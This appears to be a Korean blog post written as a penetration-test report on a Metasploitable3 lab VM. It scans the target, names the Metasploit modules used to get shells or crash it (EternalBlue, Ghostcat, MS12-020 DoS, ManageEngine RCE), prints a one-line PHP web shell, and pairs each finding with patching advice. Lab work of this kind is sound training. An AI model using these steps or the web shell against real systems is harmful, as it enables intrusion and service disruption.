본문 바로가기
보안프로젝트

[보안프로젝트] Metasploitable3 취약점 침투 및 대응 방안

by L3m0n S0ju 2021. 5. 15.

보안프로젝트

윤창규

 

문서 정보 / 수정 내역

File Name Metasploitable3 취약점 침투 및 대응 방안
원안작성자 윤창규
수정작업자 윤창규

 

수정 날짜 대표 수정자 Revision 추가/수정 항목 내  용
2021-02-05 윤창규 0.1 원안작성 보고서 초안
2021-02-06 윤창규 0.2 정보 수집 및 취약점 진단 정보 수집 및 취약점 진단
2021-02-07 윤창규 0.3 취약점 선별 취약점 선별
2021-02-08 윤창규 0.4 선별된 취약점 조사 선별된 취약점 분석
2021-02-09 윤창규 0.5 공격 시연 공격 시연
2021-02-11 윤창규 0.6 대응 방안 대응 방안
         

표 1-1 문서정보/수정내역

 

 


 

목차

 

1. 개요

    1.1 프로젝트 주제

    1.2 프로젝트 추진 배경 및 목표

    1.3 프로젝트 요약

 

2. 모의해킹 개요

    2.1 환경구성

    2.2취약점 진단 및 공격 도구

    2.3 수행 단계

    2.4 모의해킹 시나리오

 

3. 정보 수집

 

4. 취약점 진단

 

5. 공격 시연

    5.1 MANAGEMENT DESKTOP CENTRAL LOW VERSION

        5.1.1 취약점 분석

        5.1.2 공격 시연

        5.1.3 대응 방안

    5.2 APACHE LOW VERSION

        5.2.1 취약점 분석 및 대응 방안

    5.3 MS14-066

        5.3.1 취약점 분석 및 대응 방안

    5.4 PHP LOW VERSION

        5.4.1 취약점 분석 및 대응 방안

    5.5 APACHE LOW VERSION

        5.5.1 취약점 분석 및 대응 방안

    5.6 APACHE TOMCAT LOW VERSION

        5.6.1 대응 방안

    5.7 GHOSTCAT

        5.7.1 취약점 분석

        5.7.2 공격 시연

        5.7.3 대응 방안

    5.8 MS12-020

        5.8.1 취약점 분석

        5.8.2 공격 시연

        5.8.3 대응 방안

    5.9 MS17-010

        5.9.1 취약점 분석

        5.9.2 공격 시연

        5.9.3 대응 방안

    5.10 SNMP AGENT DEFAULT COMMUNITY NAME (PUBLIC)

        5.10.1 취약점 분석 및 대응 방안

    5.11 APACHE TOMCAT DETECTION

        5.11.1 취약점 분석 및 대응 방안

    5.12 WEBDAV DETECTION

        5.12.1 취약점 분석

        5.12.2 공격 시연

        5.12.3 대응 방안

 

6. 참고문헌

    6.1 단행본

    6.2 참조 홈페이지

 

 

 

 


1. 개요

1.1 프로젝트 주제

Metasploitable3 취약점 침투 및 대응 방안

표 1-1 프로젝트 주제

1.2 프로젝트 추진 배경 및 목표

모의해킹 컨설턴트 체험

표 1-2 프로젝트 추진 배경 및 목표

1.3 프로젝트 요약

Nessus Metasploit을 이용한 취약점 분석

표 1-3 프로젝트 요약

 

 


 

 

2. 모의해킹 개요

2.1     환경 구성

  운영체제 주소
공격자 PC Kali Linux 2020.4 192.168.169.135
희생자 PC Windows Server 2008 R2 Standard 192.168.169.147

표 2-1 환경 구성

2.2     취약점 진단 및 공격 도구

도구 설명
Nmap 7.9.1 포트 스캔
Nessus Essentials 취약점 진단
Metasploit 6.0.29-dev 취약한 서비스 침투

표 2-2 취약점 진단 및 공격 도구

 

 

2.3     수행 단계

그림 2-1

모의해킹 단계는 정보 수집, 취약점 수집, 침투, 상세 분석, 보고서 작성 순으로 진행된다. 정보 수집은 외부에서 얻을 수 있는 정보를 수집한다. 희생자 서버는 가상의 서버이므로 외부에 알려진 정보가 없다. 따라서 Nmap을 이용해 열린 서비스 포트와 버전을 정보를 수집한다. 취약점 수집은 Nessus를 이용해 희생자 서버의 취약점을 수집한다. 상세 분석은 실제로 취약점이 희생자 서버에 영향을 줄 수 있는지 분석한다. 마지막으로 분석이 끝난 취약점을 보고서로 작성한다.

 

2.4     모의해킹 시나리오

그림 2-2 모의해킹 시나리오

첫 번째 단계로 공격자는 Nmap Nessus를 통해 희생자 서버의 취약점 정보를 수집한다. 두 번째 단계로 수집한 취약점 중에서 위험도가 높다고 판단되는 취약점을 선별한다. 취약점을 선별하는 기준은 CVSS 7.5이상이면 위험도가 높다고 판단했다. 필자는 심각도 수준이 Nessus 기준으로 Critical 수준이거나 High 수준이면 위험도가 높다고 판단했고 심각도가 낮은 Info 수준에서도 몇 가지 취약점을 선별하였다. 세 번째 단계는 실제 메타스플로잇 모듈을 이용해 공격을 시도하였다. 최종적으로는 공격자가 희생자 서버의 루트 쉘을 얻는 것을 목표로 한다.

 

 


3. 정 수집

 

 

그림 3-1
그림 3-2

공격자는 Nmap을 이용하여 외부에 열린 서비스 포트 정보와 버전 정보를 수집한다. 20개의 서비스가 외부에 열려있다.

 


4. 취약점 진단

그림 4-1

네서스(Nessus)는 상용 취약점 스캐너로 가장 많이 사용되는 취약점 진단 도구 중에 하나이다. Home 버전은 무료로 사용할 수 있으며 다양한 형태의 리포트를 제공한다. 네서스는 네트워크에 연결되어 있는 서버와 네트워크 장비에 대한 스캐닝 점검을 통해 보안상 취약한 서비스, 설정, 낮은 버전의 프로그램 등을 알려줌으로써 패치 대상 장비를 쉽게 찾아준다. 수집된 취약점은 CVSS 점수를 매기는데 치명적 위험군은 9.0~10.0, 고위험군 7.0~8.9, 중위험군 4.0~6.9, 저위험군 0.1~3.9점으로 분류된다. 필자는 네서스에서 제공하는 취약점 중에 치명적 위험군과 고위험군을 위험도가 높다고 판단하여 해당 취약점을 이용하여 희생자 서버에 모의침투를 시도했다. 하지만 CVSS 점수만으로 위험도를 판단하기는 것은 또 다른 보안 허점이 될 수 있기 때문에 중위험군, 저위험군에서도 위험하다고 판단되는 취약점을 선별하겠다.

 

 

 

 

 

그림 4-2

그림 42를 보면 Nessus로 대상 서버를 Advanced Scan으로 취약점 진단을 했다. 그 결과 약 200개의 취약점이 도출됐다. 치명적 위험군 7개 취약점과 고위험군 취약점 25개에 저위험군에서 2개의 취약점을 선별하여 총 27개의 취약점을 선별하였다. 선별된 취약점은 그림 43에서 열람할 수 있다.

 

 

 

 

그림 4-3

 

 


 

5. 공격 시연

5.1     Management Desktop Central Low Version

5.1.1        취약점 분석

그림 5-1
그림 5-2
그림 5-3
그림 5-4

그림 5‑1과 그림 5‑2 ManageEngine Desktop Central 버전이 낮아서 생기는 취약점이다. ManageEngine Desktop Central은 중앙에서 서버, 노트북, PC, 스마트폰 및 태블릿을 관리하는 UEM(Unified Endpoint Menagement) 솔루션이다. 즉 중앙에서 여러 대의 컴퓨터를 관리하며 패치 관리, 소프트웨어 배포, 운영체제 배포와 같은 정기적인 엔드포인트 관리 루틴을 자동화한다. 그림 5‑3을 보면 네서스 취약점 진단의 결과로 현재 9 Build 91084 버전이 설치돼있는데 해당 버전은 91093 이전 버전으로 그림 5‑4처럼 Exploit-db에 등록돼있는 CVE-2015-8249 취약점의 공격 코드로 희생자 서버에 원격코드실행이 가능하다.

 

 

 

 


 

5.1.2        공격 시연

 

그림 5-5
그림 5-6

Metasploit을 실행하여 cve_2015_8249를 검색한다. 그림 56과 같이 옵션을 설정하고 공격을 시도한다.

 

 

 

 

그림 5-7

그림 57과 같이 희생자 서버의 로컬 서비스 권한의 쉘을 탈취했다.

 

 

 

5.1.3        대응 방안

ManageEngine Desktop Central 버전을 최신 버전으로 업데이트 한다.

 


 

5.2     CVE-2019-0708

5.2.1        취약점 분석

그림 5-8
그림 5-9

그림 58은 CVE-2019-0708 취약점으로 그림 59와 같이 더 이상 지원되지 않는 윈도우를 사용해서 보안 업데이트가 패치가 되지 않을 때 자주 발생하는 취약점이다. 해당 취약점으로 이용해 공격자는 특수하게 조작된 RDP 패킷을 전송하여 시스템에 임의코드를 실행할 수 있다.

 

 

 

 

5.2.2        공격 시연

그림 5-10
그림 5-11

Metasploit을 실행한 후 cve_2019_0708을 검색한다. 그리고 그림 511과 같이 옵션을 설정한다.

 

 

 

 

그림 5-12
그림 5-13

그림 5-12 처럼 run을 실행하면 2번의 시도 끝에 그림 513과 같이 희생자 시스템에 블루 스크린이 출력되고 강제 종료되었다.

 

 

 

 

5.2.3        대응 방안

현재 윈도우 운영체제는 서비스 지원이 종료된 상태이다. 따라서 윈도우 최신버전을 설치하거나 마이크로소프트 지원 센터에 접속하여 제공하는 업데이트를 직접 설치한다.

 


 

5.3     MS14-066

5.3.1        취약점 분석 대응 방안

그림 5-14

MS14-066 취약점은 마이크로소프트 보안 채널(Schannel) 보안 패키지에 있는 비공개 취약점이다. 공격자는 해당 취약점을 이용해 윈도우 서버에 특수하게 조작된 패킷을 보내 원격 코드 실행이 가능하다. MS14-066 취약점은 CVE-2014-6321으로 표준화되어 있다. 마이크로소프트 공식 사이트에서는 CVE-2014-6321 취약점에 대한 대안은 현재 없으며 배포된 보안 업데이트를 설치하는 방법 밖에 없다. 현재 윈도우 운영체제는 MS14-066 취약점에 취약한 소프트웨어이며 윈도우 최신 버전을 설치하거나 마이크로소프트 지원 센터에서 업데이트를 직접 설치한다.

 


5.4     PHP Low Version

5.4.1        취약점 분석 대응 방안

그림 5-15

해당 취약점은 PHP버전이 더 이상 원격 호스트 서비스가 지원되지 않는 취약점이다. 따라서 새로운 취약점이 발견되더라도 자동으로 보안 업데이트가 진행되지 않으므로 현재 원격 호스트 서비스가 지원되는 PHP 버전을 최신 버전으로 업데이트 해야 한다.

 

 


5.5     Apache Low Version

5.5.1        취약점 분석 대응 방안

그림 5-16

해당 취약점은 아파치 버전이 낮아서 생기는 취약점이다. 현재 희생자 서버의 아파치 버전 2.2.21버전으로 그림 5‑16과 같이 CVE-2017-3167, CVE-2017-3169, CVE-2017-7659, CVE-2017-7668, CVE-2017-7679 같은 취약점이 존재한다. 대응 방안으로 아파치 버전을 최신 버전으로 업데이트하면 된다.

 


 

5.6     Apache Tomcat Low Version

5.6.1        대응 방안

그림 5-17

해당 취약점은 아파치 톰캣 버전이 낮아서 생기는 취약점이다. 현재 희생자 서버의 아파치 톰캣버전은 8.0.33으로 그림 517과 같이 CVE-2016-6816, CVE-2016-6817, CVE-2016-8735 같은 취약점이 존재한다. 대응 방안으로 아파치 톰캣 버전을 최신 버전으로 업데이트하면 된다.

 


 

5.7     Ghostcat

5.7.1        취약점 분석

그림 5-18

Ghostcat 취약점은 톰캣 AJP 프로토콜의 결함으로 인해 발생하는 취약점이다. 공격자는 해당 취약점을 통해 톰캣의 webapp 디렉토리 하위에 있는 임의의 파일 접근 및 읽기가 가능하고 만약 서버에 JSP파일을 업로드할 수 있다면 JSP로 작성된 웹 쉘을 통해 원격코드실행이 가능하다.

 

 

5.7.2        공격 시연

 

그림 5-19
그림 5-20

메타스플로잇에서 ghostcat을 검색한다. 다음으로 그림 520과 같이 옵션을 설정한다. 옵션에 FILENAME에는 /WEB-INF/web.xml 파일이 기본으로 설정돼있는데 해당 파일은 AJP 컨넥터를 사용하면 기본으로 생성되는 파일이다. 그림 32 보면 AJP 서비스를 제공하는 포트는 8009번이므로 RPORT 8009로 설정한다.

 

 

 

 

 

그림 5-21

그림 521와 같이 exploit을 실행하면 희생자 서버의 web.xml 파일을 읽는데 성공했다. 이를 통해 인증 절차 없이 공격자는 희생자 서버의 webapp 디렉토리 하위에 있는 파일을 읽을 수 있게 되었다.

 

 

 

 

그림 5-22

희생자 서버에 접속해서 AJP 서비스를 제공하는 axis2 파일을 확인하면 실제로 WEB-INF 디렉토리 안에 web.xml 파일이 존재하고 파일 내용도 그림 521에서 가져온 내용과 일치한다. 만약 공격자가 다른 취약점을 통해 서버에 JSP파일을 업로드할 수 있다면 현재 Ghostcat 취약점을 통해 JSP로 작성된 웹 쉘을 실행하여 원격코드실행이 가능하다.

 

 

 

5.7.3        대응 방안

Ghostcat 취약점은 아파치 톰캣 8.5.51 이상의 버전에서는 패치가 완료됐다고 한다. 따라서 현재 아파치 톰캣 8.0.33 8.5.51 이상의 버전으로 업데이트 해야 한다.

 

 


 

5.8     MS12-020

5.8.1        취약점 분석

그림 5-23

MS12 취약점은 원격 디스플레이를 제공하는 RDP서비스에 존재한다. 공격자는 해당 취약점을 이용해 윈도우 서버에 특수하게 조작된 패킷을 보내 원격 코드 실행이 가능하다.

 

 

5.8.2        공격 시연

 

 

그림 5-24

메타스플로잇을 실행 후 ms12-020을 검색한다. RDP를 이용해 도스 공격을 하는 모듈을 사용하겠다. auxiliary/dos/windows/rdp/ms12_020_maxchaanelids를 선택한다.

 

 

 

 

 

그림 5-25
그림 5-26

그림 525과 같이 옵션을 설정하고 공격을 시도한다. 그림 526와 같이 여러 번 시도 끝에 희생자 서버를 강제 종료 시키는데 성공했다.

 

 

 

그림 5-27

그림 527처럼 도스 공격으로 인해 윈도우 서버가 강제 종료 됐다.

 

 

 

 

5.8.3        대응 방안

 

대응 방안으로는 RDP 서비스를 중지하면 해결된다. RDP 서비스를 사용해야 할 경우 현재 희생자 서버의 운영체제는 지원이 종료되었으므로 최신 버전의 윈도우를 설치하거나 수동으로 업데이트를 해야 한다.

 

 


5.9     MS17-010

5.9.1        취약점 분석

그림 5-28

MS17-010 MS SMB 프로토콜의 메모리 파괴 취약점으로 인증을 거치지 않은 공격자는 원격에서 해당 취약점을 악용하여 윈도우 SMBv1 서버에 특수하게 조작된 패킷을 보내어 원격코드실행이 가능하다. 공격자는 직접 SMB 서버를 공격하여 원격코드실행 뿐만 아니라 SMB 클라이언트를 공격하여 공격자가 특정한 웹 페이지, 압축파일, 공유파일, office 문서 등을 조작하는 방식으로 취약점을 유발할 수 있다. 2017 5월에는 MS17-010 취약점을 이용한 WannaCry 랜섬웨어가 유행하면서 보안 업데이트 패치를 하지 않은 기기들을 대상으로 감염이 일어났다.

 

 

 

5.9.2        공격 시연

 

 

그림 5-29
그림 5-30

메타스플로잇을 실행한 후 ms17_010을 검색한다. exploit/windows/smb/ms17_010_eternalblue 모듈을 이용하겠다. 그림 5‑30처럼 옵션을 설정하고 공격을 시도한다.

 

 

 

 

 

그림 5-31

희생자 서버의 시스템 권한의 쉘을 탈취했다. 시스템 권한은 윈도우 운영체제에서의 최고 권한이다.

 

 

 

 

5.9.3        대응 방안

현재 윈도우 운영체제는 서비스 지원이 종료된 상태이다. 따라서 윈도우 최신버전을 버전을 설치하거나 마이크로소프트 지원 센터에 접속하여 제공하는 업데이트를 수동 설치한다.

 

 


5.10     SNMP Agent Default Community Name (public)

5.10.1        취약점 분석 대응 방안

그림 5-32

SNMP(Simple Network Management Protocol)는 관리자가 PC나 라우터, 스위치 같은 네트워크 장비를 원격으로 관리하는데 사용되는 프로토콜이다. SNMP에는 두 가지 방식이 있는데 Public 방식과 Private 방식이 있다. 현재 희생자 서버는 SNMP Public Community 이름이 기본으로 설정돼있어서 해당 취약점이 도출되었다. 공격자는 Public Community 이름을 알고 있다면 시스템 시간, IP 주소, 인터페이스, 프로세스 등의 SNMP 데이터를 읽을 수 있다.

 

해당 취약점을 방지하기 위해서는 SNMP 서비스를 중지한다. 만약 불가피하게 사용해야 하는 상황이라면 UDP 패킷을 필터링 하거나 기본 커뮤니티 이름을 바꿔야한다.

 

 


 

5.11     Apache Tomcat Detection

5.11.1        취약점 분석 대응 방안

그림 5-33
그림 5-34

Apache Tomcat Detection 취약점은 아파치 톰캣 페이지가 외부에서 접근이 할 때 발생하는 취약점이다. 해당 페이지를 통해 톰캣 버전 정보가 유출되고 만약 공격자가 그림 534 페이지에서 Manager App에 로그인 한다면 웹 쉘을 통해 시스템 권한을 탈취할 수 있다. 따라서 일반 사용자가 페이지에 접근 못하도록 접근 제어를 해야 한다.

 


 

5.12     WebDAV Detection

5.12.1        취약점 분석

그림 5-35
그림 5-36

WebDAV란 웹 서버를 파일 시스템처럼 관리할 수 있게 해주는 확장된 HTTP 프로토콜이다. WebDAV그림 536과 같이 관리자가 간편하게 Http 환경에서 웹 서버를 관리하게 해주는데 문제점은 현재 희생자 서버에서는 WebDAV페이지가 접근제어가 전혀 되어있지 않다

 

 

5.12.2        공격 시연

 

 

그림 5-37
그림 5-38

cadaver을 사용해 192.168.169.147:8585/uploads/ 페이지에 공격 PC에 있는 웹 쉘을 업로드 한다. 필자가 업로드한 mywebshell.php 코드는 다음과 같다.

<?php

           System($_GET[cmd]);

?>

 

 

 

 

그림 5-39
그림 5-40

웹 쉘을 업로드한 후 mywebshell.php로 들어가면 그림 540과 같은 페이지가 출력된다.

 

 

 

 

그림 5-41

그림 541과 같이 주소창 mywebshell.php 뒤에 cmd 값으로 명령어를 입력한 후 새로고침 하면 희생자 서버의 로컬 서비스 권한의 쉘을 탈취할 수 있다.

 

 

 

5.12.3        대응 방안

현재 윈도우 운영체제는 서비스 지원이 종료된 상태이다. 따라서 윈도우 최신버전을 버전을 설치하거나 마이크로소프트 지원 센터에 접속하여 제공하는 업데이트를 수동 업데이트 한다.

 

 


 

 

6. 참고 문헌

1.1  단행본

도서명 저자 출판사
     

표 6-1 단행본

6.2     참조 홈페이지

참조 홈페이지
https://ko.wikipedia.org/wiki/%EB%84%A4%EC%84%9C%EC%8A%A4_(%EC%86%8C%ED%94%84%ED%8A%B8%EC%9B%A8%EC%96%B4)
https://www.manageengine.com/products/desktop-central/
https://docs.microsoft.com/ko-kr/security-updates/securitybulletins/2014/ms14-066
https://docs.microsoft.com/ko-kr/security-updates/securitybulletins/2012/ms12-020
https://docs.microsoft.com/ko-kr/security-updates/securitybulletins/2017/ms17-010
 

표 6-2 참조 홈페이지

댓글